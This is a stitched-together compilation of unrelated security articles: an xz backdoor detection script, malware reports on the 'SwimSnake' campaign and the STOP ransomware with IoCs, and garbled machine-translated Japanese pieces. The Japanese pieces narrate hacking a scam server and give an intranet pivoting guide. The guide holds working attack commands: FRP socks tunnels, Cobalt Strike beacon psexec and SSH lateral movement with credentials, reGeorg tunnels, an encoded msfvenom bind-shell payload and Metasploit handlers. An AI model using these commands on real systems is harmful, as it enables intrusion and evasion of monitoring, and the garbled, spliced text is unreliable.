2、使用Openwall上發布的腳本檢查系統是否被感染後門,後門發現者提供的檢測腳本,判斷SSHD程序依賴的Liblzma庫文件二進制數據中是否包含後門特徵碼,該特徵碼為:
#! /bin/bashset -eu# find path to liblzma used by sshdpath='$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')'# does it even exist?if [ '$path'=='' ]then echo probably not vulnerable exitfi# check for function signatureif hexdump -ve '1/1 '%.2x'' '$path' | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410then echo probably vulnerableelse echo probably not vulnerablefi
f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410,對應植入過程中的liblzma_la-crc64-fast.o文件,對應函數為get_cpuid。
解決方案官方暫未更新版本或補丁,建議相關用戶卸載含後門的版本,回退到未包含後門的穩定版本v5.4.6,並及時關注官方新版本更新。
參考鏈接https://www.openwall.com/lists/oss-security/2024/03/29/4
https://access.redhat.com/security/cve/CVE-2024-3094
https://www.openwall.com/lists/oss-security/2024/03/29/4
https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504
https://avd.aliyun.com/detail?id=AVD-2024-3094
https://github.com/Midar/xz-backdoor-documentation/wikihttps://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4
https://git.tukaani.org/?p=xz.git;a=summary
文章來源:烽火台實驗室
1 概覽“遊蛇”黑產自2022年下半年開始活躍至今,針對國內用戶發起了大量釣魚攻擊和詐騙活動。該類黑產傳播的惡意程序變種多、更新免殺手段快、更換基礎設施頻繁、攻擊目標所涉及的行業廣泛。近期,安天CERT監測到“遊蛇”黑產針對與金融、財務相關的企業及人員進行的攻擊活動。攻擊者投放的初始惡意文件主要有三類:可執行程序、CHM文件、商業遠控軟件“第三隻眼”,偽造的文件名稱大多與財稅、資料、函件等相關。
由於商業遠控軟件“第三隻眼”提供多方面的遠程監控及控制功能,並且將數據回傳至廠商提供的子域名服務器、根據qyid值識別控制端用戶,攻擊者無需自己搭建C2服務器,因此惡意利用該軟件進行的攻擊活動近期呈現活躍趨勢。
“遊蛇”黑產仍在頻繁地對惡意軟件、免殺手段以及相關基礎設施進行更新,每天依舊有一定數量的用戶遭受攻擊並被植入遠控木馬。安天CERT建議用戶接收文件時保持警惕,避免點擊安全性未知的可執行程序、腳本等文件,以免遭受“遊蛇”攻擊,造成不必要的損失。建議未購買使用“第三隻眼”遠控軟件的用戶,使用流量監測設備檢查網絡中是否存在與“dszysoft.com”及其子域名相關的連接記錄,若存在則表明可能被惡意植入了相關遠控,用戶也可以考慮對相關域名進行封禁。
經驗證,安天智甲終端防禦系統(簡稱IEP)可實現對該類遠控木馬的有效查殺。相關防護建議詳見本文第四章節。
2技術梳理近期,安天CERT監測到攻擊者投放的初始惡意文件主要有三類,偽造的文件名稱大多與財稅、資料、函件等相關。
表2‑1近期部分樣本偽裝名稱
偽裝的程序名稱
企業補貼名單.exe
企業納稅新系統.exe
企業稅務稽查名單.exe
2024年企業稅收減免新政策.exe
律-師-函102803912.exe
律師函.exe
資料.exe
0328.CHM
公司全套資料.CHM
20240325.CHM
2.1 可執行程序此類可執行程序通常是下載器,執行後在內存中執行Shellcode,從攻擊者事先準備的服務器中獲取下一階段的載荷文件,並使用“白加黑”、“內存執行Shellcode”、“內存解密Payload”等手段最終加載執行Gh0st等遠控木馬。
2.2 CHM文件此類CHM文件執行後會彈出“內容已損壞,無法繼續瀏覽,請關閉”字樣。實際上,其內部腳本中的代碼此時已經執行,通過遠程加載xsl文件的方式,獲取下一階段的載荷文件,並使用“白加黑”等手段最終加載執行Gh0st等遠控木馬。
圖2‑1 CHM文件執行後彈出的內容
2.3 商業遠控軟件“第三隻眼”攻擊者有時也會直接將經過偽裝的“第三隻眼”安裝包發送給目標用戶,並誘導執行。攻擊者傳播的安裝包通常以靜默方式進行安裝,過程中無界面顯示。此外,也存在攻擊者通過已經植入的遠控木馬進行遠程安裝的情況。
由於該款商業遠控軟件能夠提供多方面的遠程監控及控制功能,並且通過將數據發送至廠商提供的子域名服務器、根據qyid值識別控制端用戶的方式回傳數據,因此黑產團伙已多年惡意利用該遠控軟件進行攻擊活動,近期依然呈現活躍趨勢。該遠控軟件某一版本的控制端界面如下圖所示。
圖2‑2 控制端界面
3 樣本分析3.1 可執行程序由於攻擊者投放的惡意可執行程序較多,此處以一例出現頻率較高的可執行程序為例。
表3‑1樣本標籤
惡意代碼名稱
Trojan/Win64.SwimSnake[Downloader]
原始文件名
資料全套.exe
MD5
A3A423DD691197920B64EA8E569A0CDE
處理器架構
Intel 386 or later, and compatibles
文件大小
163 KB (167168字節)
文件格式
BinExecute/Microsoft.EXE[:X64]
時間戳
2013-03-29 01:46:13(偽造)
數字簽名
無效的數字簽名
加殼類型
無
編譯語言
Microsoft Visual C/C++
PDB路徑
無
VT首次上傳時間
無
VT檢測結果
無
該程序執行後申請一段內存空間,寫入Shellcode並執行。
圖3‑1執行Shellcode
3.1.1Shellcode該Shellcode判斷當前系統中是否存在C:\xxxx.ini文件,若已經存在則結束進程,攻擊者可能通過這種方式來判斷系統是否曾被感染;然後檢測當前系統中是否運行有安全產品相關進程,若不存在則對硬編碼的字符串進行解密得到URL,從中獲取b.dat文件並進行解密,從而得到兩組URL及下載後用於重命名的文件名稱。該Shellcode默認使用其中的第一組。
圖3‑2獲取文件並解密得到URL及文件名稱
該Shellcode在C:\Users\Public\Videos中根據隨機生成的名稱創建文件夾,根據第一組URL下載4個文件,使用自定義的解密算法對其進行解密,寫入創建的文件路徑中,最後執行其中的可執行程序。
圖3‑3解密後的攻擊載荷文件
3.1.2 “白加黑”利用攻擊者利用“白加黑”手段,通過白程序加載其構造的惡意DLL文件,在內存中執行Shellcode讀取ffff.pol文件內容、解密得到一個DLL文件,再由該DLL文件創建計劃任務、讀取ffff.lop文件進行解密,最終執行Gh0st遠控木馬。
圖3‑4由ffff.lop文件解密得到Gh0st遠控木馬
3.2 CHM文件表3‑2樣本標籤
惡意代碼名稱
Trojan/Win32.SwimSnake[Downloader]
原始文件名
45.204.11.10 (2).CHM
MD5
FB114FFE7FC1454C011BAA502C00A358
文件大小
9.39 KB (9625字節)
文件格式
Microsoft Compiled HTML Help
VT首次上傳時間
無
VT檢測結果
無
攻擊者投放的CHM文件執行後,從指定URL處獲取xsl文件,並進行遠程加載。
圖3‑5 加載遠程xsl文件
3.2.1 load.xsl該文件含有兩段經過Base64編碼處理的字符串,對其進行解碼後在內存中加載.NET程序集。
圖3‑6 load.xsl文件關鍵內容
3.2.2.NET程序被加載的.NET程序從指定URL處獲取config文件,讀取config文件中的每一行內容,根據其下載文件並執行。
圖3‑7 .NET程序關鍵代碼
3.2.3 config.txtconfig.txt文件中包含多個託管載荷文件的URL。
圖3‑8 config.txt文件
3.2.4“白加黑”利用攻擊者此次利用的白程序是賽車競速遊戲“極限競速:地平線5”相關程序,並針對該白程序構造了惡意的“PartyXboxLive.dll”文件。該DLL文件被加載後,對boom.png文件內容進行解密,創建msiexec.exe進程,並將解密得到的Gh0st遠控木馬注入至msiexec.exe的內存空間中。
圖3‑9攻擊者利用“極限競速:地平線5”相關程序進行攻擊
3.3 商業遠控軟件“第三隻眼”攻擊者投放的“第三隻眼”安裝包程序通常以靜默方式安裝,以避免用戶察覺。
表3‑3樣本標籤
惡意代碼名稱
HackTool/Win32.DSZY[Spy]
原始文件名
企業納稅新系統.exe
MD5
7B8C787345DED235BAC78AB78EC0FAEA860B3B8B
處理器架構
Intel 386 or later, and compatibles
文件大小
38.7 MB (40622763字節)
文件格式
BinExecute/Microsoft.EXE[:X86]
時間戳
2021-11-22 17:54:59
數字簽名
無
加殼類型
無
編譯語言
Microsoft Visual C/C++
PDB路徑
無
VT首次上傳時間
2023-12-05 16:02:42
VT檢測結果
24/72
3.3.1配置信息該軟件安裝目錄中存在3個.conf配置文件,屬於SQLite3數據庫文件,其中含有配置信息。
圖3‑10配置信息文件
comnctt.xdt.conf與syslogin.xdt.conf文件的內容相似,包含關於網絡回連及程序等配置信息。其中,main/host表示服務器域名,config/qyid表示控制端用戶名所對應的id。該遠控軟件會將運行過程中監控的數據回傳至廠商提供的子域名服務器中,並根據qyid識別控制端對應的用戶名。
圖3‑11 回連域名及qyid
expiorer.xdt.conf文件中含有與監控相關的配置信息。其中,main/event_config及main/event_rule中含有經過Base64編碼的字符串,解碼後是JSON格式的配置信息,包括監控目標類別、關鍵字、規則等。
圖3‑12 main/event_config解碼後的部分內容
3.3.2 數據記錄該軟件的安裝目錄有多個.dat文件,屬於SQLite3數據庫文件,其中記錄著運行過程中收集的數據,包括屏幕截圖、硬件信息、進程相關信息、鍵盤記錄以及根據配置信息中的關鍵詞、規則收集的數據。
屏幕截圖:該軟件會根據配置信息中的時間間隔持續地對屏幕進行截圖。
圖3‑13根據配置信息中的時間間隔持續進行截圖
進程相關信息:該軟件會對啟動的進程相關信息進行記錄,包括啟動時間、進程名稱、窗口標題等。
圖3‑14記錄進程相關信息
根據配置信息中的關鍵詞、規則收集的數據:該軟件會根據配置信息中定義的目標類別、關鍵詞及規則收集數據,並將數據記錄在相應的數據表中,包括鍵盤記錄、文件監控、剪貼板監控、郵件信息等。
圖3‑15相關數據表
4防護建議4.1 增強業務人員的安全意識增強業務人員的安全意識,降低組織被攻擊的可能性。財務、客服、銷售等人員使用微信、企業微信等電腦端登錄的即時通訊應用時,避免因工作性質、利益原因,被誘導下載和運行不明來源的各類文件。組織可通過選擇安全意識培訓服務,鞏固“第一道安全防線”。
4.2 使用安天安全威脅排查工具排查遊蛇威脅發現或懷疑遭受“遊蛇”黑產攻擊:針對“遊蛇”黑產在攻擊活動中投放的遠控木馬,在安天垂直響應平台下載安天安全威脅排查工具(https://vs2.antiy.cn,“遊蛇”專項排查工具),面對突發性安全事件、特殊場景時快速檢測排查此類威脅。由於“遊蛇”黑產使用的攻擊載荷迭代較快,且持續更新免殺技術,為了更精準、更全面的清除受害主機中存在的威脅,建議客戶在使用專項排查工具檢出威脅後,聯繫安天應急響應團隊(CERT@antiy.cn)處置威脅。
圖4‑1“遊蛇”專項排查工具檢出“遊蛇”威脅
4.3 加強終端文件接收和執行防護部署企業級終端防禦系統,實時檢測防護即時通訊軟件接收的不明文件。安天智甲終端防禦系統採用安天下一代威脅檢測引擎檢測不明來源文件,通過內核級主動防禦能力阻止其落地和運行。
圖4‑2安天智甲終端防禦系統阻止惡意文件落地
5IoCsIoCs
A3A423DD691197920B64EA8E569A0CDE
5D8D6F2D27A0BB95A9E4E1C44685F99C
6F4743D3C1C475BC6D2698CC4FC4373F
DB823462C21D62E19634AD1772F80C58
FB114FFE7FC1454C011BAA502C00A358
68A86812EED8C560BD0708F237338BC5
9DC1C5D895721C079DD68B6CD82FB1BB
148B5D68A05D480D60A58F73980363A2
hxxps://lldwt-oss.oss-cn-beijing.aliyuncs.com
hxxps://ced-oss.oss-cn-shanghai.aliyuncs.com
hxxps://augenstern-1324625829.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl
hxxps://elephant-1323738307.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl
hxxps://petrichor-1323738307.cos.ap-guangzhou.myqcloud.com/bwj/config/load.xsl
45.195.57[.]10:8800
45.204.11[.]10:8888
最後のストーリーでは、詐欺サーバーの最高の権限は取得されていますが、これは技術的な制御のみであると述べています。ケースを提出したい場合は、携帯電話、銀行カードなどの人員にできるだけ多くの情報を提供する必要がありますが、現時点では収集されていません(特定の時間のソースコードに銀行口座があると述べましたが、それはテストアカウントであることがわかりましたが、Baiduはそれの多くから出てきたことがわかりました.
最初に思い浮かぶのは、私が以前に入ったことのないパゴダパネルのバックエンドです。ログイン情報などがあるはずですが、ログインパスワードは取得できませんでしたが、これはあまり影響を与えませんでした。パゴダデータベースファイル(パネル/data/default.db、sqliteデータベースファイル)に直接アクセスできるため、アカウントに入ってバックアップして、通常のアカウントが圧倒されるのを防ぐためにパスワードを設定します。
ログをきれいにして、喜んでログインします。 ㄏ(▔、▔)ㄏ:
私が最初に見るのはアカウント名です。管理者の携帯電話番号だと思います。ここで完全に読むことができない場合は、設定にアクセスして見てください。
ソースコードからは見られないアスタリスクを備えた4つのミドルディジットを以下に示しますが、これらも紙のトラであり、その後、インターフェイスがデータを要求し、返品情報が完全な携帯電話番号であることがわかったためです。 WeChatで検索して、このアカウントを見つけました。
しかし、その真正性は不明であり、おそらく単なる表紙なので、最初に覚えておいてください。
将来のある時点で情報を収集し続けようとしていたとき、私のドメイン名とIPにさえもアクセスできないことがわかりました。私は次の数日間で試してみましたが、収穫後はおそらく逃げていると感じました。当然のことながら、いくつかの情報を除いて、私が取得したすべての許可は無駄になりました。その後、警察が実際に私に連絡したこともありました(私はお茶を飲まなかった、私は良い市民$ _ $です)。私はもう一度私の運を試したかったので、興味深いことが再び起こりました。訪問する前のIPには、このページが表示されました。
まあ、私はその瞬間にタイトルとアイコンをほとんど信じていたことを認めなければならず、それを貫通の正当性を考慮するために3秒を無駄にしました。慎重に考えると、もしそれがその銀行だったら、どのようにしてサーバーを犯罪歴のあるIPに置くことができるかを知っているでしょうか?ページのコンテンツは不合理で、アカウントを登録してログインしました。
=_=まあ、それは良いことです。 NSLookupやDIGなどの通常のツールはドメイン名からIPまでのみ解析できるため、次の分析では上記の推測も確認します。これは、IPでドメイン名を確認するトリックでもあります。ただし、HTTPSを使用するそのようなサイトに遭遇した場合、IPへの直接アクセスを制限しない場合は、ページを正常に入力し、ブラウザの左上隅にあるプロトコル名をクリックして、使用する証明書を表示できます。通常の証明書の「発行」値は、サイトのドメイン名です。明らかにここではなく、一時的またはテスト証明書である必要があります。
次に、ドメイン名を分析します。
ここでは、パブリックDNSを通じて解決されたIPが以前に使用されたものと互換性がないように見えることがわかりました。慎重に考える場合、CDNサービスが使用されるはずです。これらのIPに対応するサーバーは、すべてサービスを提供する3つのパーティ機関です。浸透はそれほど意味がなく、簡単ではありません。ここでは、ソースステーションIPを介して直接入力して申し訳ありません。そうしないと、ドメイン名とCDNを介してソースステーションを取得するのは別の頭痛の種です。
次に、ドメイン名がある場合は、サブドメインの波をスキャンして、潜在的な関連サイトを取得します。
かなりの数があります。最初にバックアップしてから、フロントデスクページの返品データから分析することを覚えています。これはPHPを使用してLinuxサーバーであることがわかりました。これは、以前のWindows IISサーバーとは異なります。ドメイン名がリリースまたは再び販売されているようです。それでは、新しいポートからポートをスキャンしましょう。
私はまだおなじみの数字を見つけましたが、最初にパスワードを実行しました。私の過去の経験によると、スマートマスターに出会ったときにネットを逃したかもしれないので、思慮深いフルポートスキャンサービスも必要です。
確かにいくつかあります。プロトコルに基づいてどのサービスがあるかを大まかに推測できます。それを一つ一つ試してみてください、そして、1つはSSHログインであり、もう1つはパゴダのバックエンドであることがわかります。
パゴダにはまだログイン検証があり、爆破する希望はないので、最初に脇に置くことしかできません。
ディレクトリを爆発させる前に、数回ヒットした後、盲目的に背景パスを推測しました。
win-win?存在しないものは、片面╮(╯_╰)╭だけです。ページの簡単な分析の後、ここで魔法のツールを使用する必要はありません。 wfuzzを使用して、アカウントのパスワードの波を実行するだけです。
最初に舞台裏で走り、他の場所を回りましょう。しばらくすると、結果、Yoxi!入って見てください:
スズメは小さく、すべての内臓がありますが、予想される興味深いものがいくつかあります。
撤退は言いません。成功することができるかどうかは、管理者の気分によって異なります。以下のものが完全に理解されていないかどうかは関係ありません。たぶん誰もが真実を理解しています。とにかく、それだけです。私はあなたの運命をコントロールし、あなたのリスクを制御します(¬‿¬)。
私はしばらくして、ページを分析して搾取可能な脆弱性を見つけて、それをガジェットに渡しました。
再び剣を描く時が来ました:
私はディレクトリに行きましたが、それは単純ではないことがわかりました。以前のドメイン名のいくつかが登場しました。それは小さなサイトグループでしょうか?少し後に彼らの建築を理解するのに時間がかかりました。複数のセカンドレベルのドメイン名が現在のIPを指し、いくつかの異なるCDNアドレスを持っています。次に、第2レベルのドメイン名が別のサーバーIPを指します。現在のIPのサーバーには、別の第1レベルのドメイン名に対応する第2レベルのドメイン名が含まれています。これらのサイトは、ほぼ同じコードセットを共有しています。=_=本当に複雑です。それは、うまく計画されていないビジネス拡大のためですか?しかし、それは問題ではありません。サーバーに対応するだけです。
次に、 /etc /passwdファイルにアクセスしてユーザーを表示します。このファイルはLinuxのすべてのユーザーがアクセスできるためです。
すべてがデフォルトアカウントです。現在、WWWアカウントであるため、 /etc /Shadowファイルにアクセスする許可がありません。このファイルは、システム内のすべてのアカウントのパスワードのハッシュ値を記録するため、次のステップは権限を上げることです。
システムディレクトリを閲覧するとき、PHPMyAdminのログインアドレスを見つけました。前にスキャンしなかったのも不思議ではありません。アクセスポータルを確認するためのランダムな複雑なパスを生成するようにパゴダで構成されている必要があります。
アカウントとパスワードは簡単ですが、特定の手段で取得できます。残念ながら、他のパーティは構成されたルートアカウントではなく、サイトにちなんで名付けられたサブアカウントです。これは、サーバーに複数のサイトがあり、権限が高くないためです。最初にログインして、見てください:
サイトのフロントとバックエンドからのデータが含まれています。最初に有用な情報を見つけます:
テーブルストレージ管理者情報があります。私はあきらめました。ご存知の場合は、コメントできます。テーブルにはパスワードのハッシュ値があります。最初にそれを確認して、あなたの運を試してください:
実際には小さなノートブックがあります(実際に他のサイトを入力するための基礎があります)。
ディレクトリを閲覧するときに、いくつかの絶妙なガジェットも見つかりました。
場所は大きくなく、とても活気があります。反対側は大きな男性でいっぱいで、彼らを怒らせる余裕はありません。まだいくつかのグループのグループがいるようで、彼らを静かに嘘をつき、お互いを愛し、殺します、私は何も見えませんでした(x_x)。
私はもともと仮想端末を開くことを計画していましたが、電力を増やす方法を喜んで研究しましたが、稲妻のストライキが開かれました。
言うまでもなく、システム実行機能のほとんどは無効です。これは、PHP構成アイテムのDisable_Functions値であり、PHPスクリプトでシステムコマンドを実行できるいくつかの機能を制限するために使用されます。もちろん、いくつかの脆弱性バイパス法もあります。時間を節約するには多くの方法があるので、1つずつ手動でテストすることはなく、既存の統合プラグインを直接使用することはありません。
Putenvが無効になっているのを見ると、少しがっかりします。これだけでは、ほとんどのバイパスメソッドを思いとどまらせることができますが、使用する方法がまだ残っているため(PHP-FPM)、まだ試してみる必要があります。システム構成ファイルをチェックすることにより、FPMモジュールで使用されるソケット通信方法が構成されてから開始されることがわかりました。
最後のプロンプトはすべて成功しています。チェックによって生成された動的リンクライブラリファイルも正常にアップロードされましたが、端末はまだ開くことができませんでした。返品データが空であることを促し続けました。最初は、プラグインで使用される関数もPHPによって無効になっているため、戻りが空になり、他の搾取可能な脆弱性は見つかりませんでした。このため、それは週のほとんどで立ち往生していました。その後、情報を確認し、使用率を手動で実装する準備をしました。
実際、この方法の原則は大まかです。PHPは動的な言語ですが、Nginxはこれらを処理できないため、HTTPプロトコルと比較できるFastCGIプロトコルが中央にfastCGIプロトコルがあります。 Nginxは、受信したクライアント要求をFastCGIプロトコル形式のデータに変換し、PHPモジュールのPHP-FPMを使用してこれらのFASTCGIプロトコルデータを処理し、処理のためにPHPインタープレターに渡します。完了後、結果データは以前と同じパスでブラウザクライアントに返されます。したがって、通常、LinuxサーバーでPHPプログラムを開始すると、PHP-FPMと呼ばれるサービスが開始されます。これは通常、マシンの9000ポートまたはソケットファイルをリッスンし、NGINX構成ファイルFastCGIアクセスアドレスもこのポートまたはファイルに割り当てられます。これらはすべて、上記の通信プロセスを完了するためです。
ここで利用可能なポイントは、Nginxへのリクエストをバイパスし、PHP-FPMサービスと直接通信することです。理想的には、構成エラーのため、9000がネイティブインターフェイスではなく、外部ネットワークインターフェイスに耳を傾けます。もちろん、この状況は非常にまれですが、これはローカルマシンを聴くことができないという意味ではありません。 PHPプログラムファイルが書き込み可能であるという前提の下で、プログラム内のCurlインターフェイス(またはStream_Socket_Clientがソケットファイル通信要求を開始する)を介してサーバーのネイティブポート9000へのリクエストを開始でき、FastCGIクライアントを模倣して対応する形式のデータを送信し、NGINXをbypass nigpass niart with phpppmatで送信することができます。 SSRF(サーバー側のリクエスト偽造)と呼ばれるこの操作の別のことわざがあります。つまり、サーバー要求の偽造、サーバーはクライアントが正常にアクセスできないイントラネットリソースにアクセスできます。もちろん、その名前と非常によく似た方法もあります。CSRF(クロスサイトリクエスト偽造、クロスサイトリクエスト偽造)がありますが、これは他のクライアントからのログイン資格情報の盗みです。
ここに別の問題があるかもしれません。このように回った後、私はまだ最終的にPHP-FPMを渡します。この構成の関数制限はまだ存在します。
StopCrypt 勒索軟件(又名STOP)的新變種在野外被發現,它採用涉及shellcode 的多階段執行過程來逃避安全工具。
StopCrypt,也稱為STOP Djvu,是現有的分佈最廣泛的勒索軟件之一。
因為這種勒索軟件操作通常不針對企業,而是針對消費者,經常產生數万筆400 至1000 美元的小額贖金,以至於很少聽到安全研究人員討論STOP。
STOP勒索軟件通常通過惡意廣告和可疑網站傳播,這些網站會分發偽裝成免費軟件、遊戲作弊和軟件破解的廣告軟件捆綁包。
然而,當安裝這些程序時,用戶就會感染各種惡意軟件,包括密碼竊取木馬和STOP 勒索軟件。
自2018 年首次發布以來,勒索軟件加密器沒有太大變化,發布的新版本主要是為了修復關鍵問題。因此,當新的STOP版本發佈時,由於受到影響的人數較多,值得關注。
新的多階段執行威脅研究團隊在野外發現的STOP 勒索軟件新變種,現在利用多階段執行機制。
最初,惡意軟件加載一個看似不相關的DLL 文件(msim32.dll),可能是為了轉移注意力。它還實現了一系列長時間延遲循環,可能有助於繞過與時間相關的安全措施。
接下來,它使用堆棧上動態構造的API 調用來為讀/寫和執行權限分配必要的內存空間,從而使檢測變得更加困難。
StopCrypt 使用API 調用進行各種操作,包括拍攝正在運行的進程的快照以了解其運行環境。
下一階段涉及進程空洞,其中StopCrypt 劫持合法進程並註入其有效負載以在內存中謹慎執行。這是通過一系列精心編排的API 調用來操作進程內存和控制流來完成的。
一旦執行了最終的有效負載,就會發生一系列操作來確保勒索軟件的持久性,修改訪問控制列表(ACL)以拒絕用戶刪除重要惡意軟件文件和目錄的權限,並創建一個計劃任務來每隔一段時間執行一次有效負載5分鐘。
StopCrypt的計劃任務
文件已加密,並且新名稱後會附加“.msjd”擴展名。然而,有數百個與STOP 勒索軟件相關的擴展。
最後,在每個受影響的文件夾中都會創建名為“_readme.txt”的勒索字條,向受害者指示支付贖金以檢索數據。
勒索信樣本
StopCrypt 正逐漸演變為更加隱秘和強大的威脅,儘管StopCrypt 的金錢要求並不高,而且其運營商也不會進行數據盜竊,但它仍會對許多人造成巨大損失。
イントラネットの浸透、ウェブシェル、またはコバルトストライク、メタスプロイトが発売される場合などはほんの始まりに過ぎず、イントラネットを水平に移動し、結果を拡大し、コア領域を攻撃することについてです。ただし、侵入後の前提条件は、さらなる攻撃のためにイントラネットに「排他的なチャネル」を構築することです。ただし、実際の戦闘では、ネットワーク環境が異なるため、使用方法は異なります。
以下は、「実際の戦闘におけるイントラネットの浸透の道」のマインドマップの自己サマリーです。
これは、実際の戦闘で最も喜んで遭遇するネットワーク環境です。ターゲットマシンは通常のインターネットにアクセスでき、ターゲットマシンにソックスエージェントまたはコバルトストライクを直接吊るすことができ、ターゲットのイントラネットチャネルを開きます。
FRP(Socks5)FRPサーバー構成ファイル:
1 | [一般]
2 | bind_port=8080frpクライアント構成ファイル:
1 | [一般]
2 | server_addr=xx.xx.xx.xx
3 | server_port=8080
4 | #Serviceポートは一般的なWebポートを使用します
5 |
6 | [Socks5]
7 | type=tcp
8 | remote_port=8088
9 |プラグイン=socks5
10 | use_encryption=true
11 | use_compression=true
12 | #Socks5パスワード
13 | #plugin_user=superman
14 | #plugin_passwd=xpo2mcwe6nj3暗号化と圧縮の2つの関数がここに追加されますが、デフォルトでは有効にされていません。著者の紹介によると、圧縮アルゴリズムはSnappyを使用しています。
use_encryption=true enable enbryption [通信コンテンツの暗号化された送信、トラフィックが傍受されるのを効果的に防ぐ]
use_compression=True Enable Compression [送信されたネットワークトラフィックを効果的に削減し、トラフィック転送速度を高速化するように伝達コンテンツを伝達しますが、追加のCPUリソースを消費します]
use_encryption=true、use_compression=trueは、関連するプロトコルの下に配置する必要があります。 FRPクライアントと構成ファイルがターゲットマシンに送信された後、プログラム名と構成ファイルが変更され、システム関連のフォルダーに配置されて非表示になります。
暗号化圧縮の比較これは、暗号化と圧縮関数を使用しないFRPクライアント構成ファイルです。 Metasploitは、Socksプロキシを使用して、MS17_010から送信されたデータパケットをスキャンして、特定の攻撃動作を明確に識別できます。ターゲットイントラネットに「状況認識」やトラフィック分析などのセキュリティ機器がある場合、監視され、アクセス許可が失われます。
暗号化と圧縮関数を使用した後、攻撃源アドレスも公開されますが、イントラネットのセキュリティ監視装置を避けて、送信されたデータパケットを区別できません。
コバルトストライク(Socks4a)制御されたターゲットマシンのビーコンに、ソックスエージェントを有効にします。
1 |ビーコンソックス1024 #portは、VPSの実際の状況に応じて設定されています
プロキシピボットを表示メニューバーで、コピープロキシはMetaSploitに接続されているか、関連するセキュリティツールにSocks4aを直接ハングします。
は、オンラインマシンでは利用できません。これはリンクリンクです。メインリンク(ネットワークビーコン)が切断されている限り、それらはすべて切断されます!
SMBビーコン公式紹介SMBビーコン:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用しています。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは、通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されています。
SMBリスナー(ホストとポートは無視できます)を作成し、リスナーの選択に注意を払い、セッションのルートで到達できるホスト由来セッションを選択します。
操作が成功した後、派生したSMBビーコンの接続状態であるキャラクター∞∞を見ることができます。
は、メインビーコンのリンクホストリンクまたはリンクホストをリンクすることと切断できます。
1 |ビーコンリンク192.168.144.155
2 | Beaccon Unlink 192.168.144.155 Linkリスナーオンラインホストでリスナーを作成します。
このタイプのリスナーに対応する実行可能ファイルまたはDLLをエクスポートします。
作成したばかりのリスナーを選択します。
現在のオンラインターゲットマシンに生成されたペイロードをアップロードし、PSEXEC.EXEツールをこちらを使用してください。 (Cobalstrike自体は十分に強力ではありません)
ビーコンのPSEXECツールを使用して、ネットワークを離れない、自動的に実行し、オンラインになるターゲットマシンにペイロードをアップロードします。
1 |ビーコンシェルC:WINDOWSTEMPPSEXEC.EXE -ACCEPTEULA \ 192.168.144.155,192.168.144.196 -U管理者-P管理
1 |ビーコンシェルNetstat -Ano | FindStr 4444
SSH login1 |ビーコンSSH 192.168.144.174:22ルート管理
2 |ビーコンSSH 192.168.144.203:22ルート管理 Linuxターゲットマシンのネットワーク接続ステータスを確認します。これは、以前に起動したWindowsホストに確立された接続です。
ターゲットマシンネットワークには、HTTP一元配電のみを許可し、正常にインターネットにアクセスできないターゲットマシンネットワークにファイアウォール、ネットワークゲートなどがある場合があります。上記のソックス法は実行不可能であり、HTTPプロキシを使用して浸透するためにのみ使用できます。
Regeorg(Socks5)1 | python regeorgsocksproxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080
Metasploitを使用してRegeorg Socks Proxyをハングして、MS17_010によって送信されたデータパケットをスキャンします。
neo-regeorg(暗号化)1 | python neoreg.py -kテスト@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo -tunnel.aspx
Neo-Regeorgを使用した後、パケットは暗号化されました。
Ice Scorpion(Open Socks5)Ice Scorpionのパケットトランスミッションは暗号化されており、ソックスプロキシ機能もありますが、送信プロセス中にパケット損失があります。ここでは、Metasploitを使用してMS17_010の脆弱性を検出しますが、結果は存在しないことを示しています。プロキシ検出が設定されていない場合、実際の脆弱性が存在します。
アイススコーピオンのプロキシスキャン方法はRegeorgほど正確ではありませんが、補助/スキャナー/ポートスキャン/TCPなど、小さなスレッドのポート検出が実現可能です。精度は、何らかの検出またはその他の伝送方法でのパケットの数によってより決定されます。
Reduh(シングルポート転送)ターゲットサーバーミドルウェアおよびその他のサービスのサービスバージョンが低い場合、RegeorgまたはIce Scorpion Horseが正常に解決できない場合、他のHTTPプロキシスクリプトを使用する必要があります。これは、実際の戦いで遭遇する環境です。
ここで例として、Reduhを取り上げます。指定されたポート(グラフィカル接続操作は該当しない)のみを転送しますが、最初にMSFvenomを使用してフォワードシェルペイロードを生成し、次にReduhシングルポート転送を組み合わせてMetasploitを起動し、最後にSocks4Aモジュールを使用してプロキシを開きます。以下の特定のプロセスを見てみましょう。
1 | sudo msfvenom -platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe
2 |
3 | -Platformプラットフォームペイロードのターゲットプラットフォームを指定します
4 | -e、-Encoderエンコーダー使用するエンコーダーを指定します
5 | -i、-iterationsカウントペイロードのエンコード時間の数を指定します。ペイロードをターゲットサーバーにアップロードして実行します。
metasploitは、転送を聞いた後のアドレスとポートです。
1 | sudo msfconsole -q
2 | MSF5 Exploit/Multi/Handlerを使用します
3 | MSF5 Exploit(Multi/Handler)Payload Windows/shell_bind_tcpを設定します
4 | MSF5 Exploit(Multi/Handler)Set RHOST 127.0.0.1
5 | MSF5 Exploit(Multi/Handler)Set LPort 5353
6 | MSF5 Exploit(Multi/Handler)Run -J Reduhserverがターゲットマシンに送信された後、Reduhclientを使用して接続し、リバウンドポートを局所的に回転させます。
1 | Java -jar reduhclient.jar http://103.242.xx.xx/reduh.aspx
2 |
3 | Telnet 127.0.0.1 1010
4 | [CreateTunnel] 5353:127.0.0.1:53 は、メタプロイトに浸透するか、Socks4aをオンにして、他のセキュリティツールをマウントして浸透を継続することができます。
1 | MSF5 Exploit(Multi/Handler)補助/サーバー/Socks4aを使用します
2 | MSF5 Auxiliary(Server/Socks4a)SET SRVPORT 10080を設定します
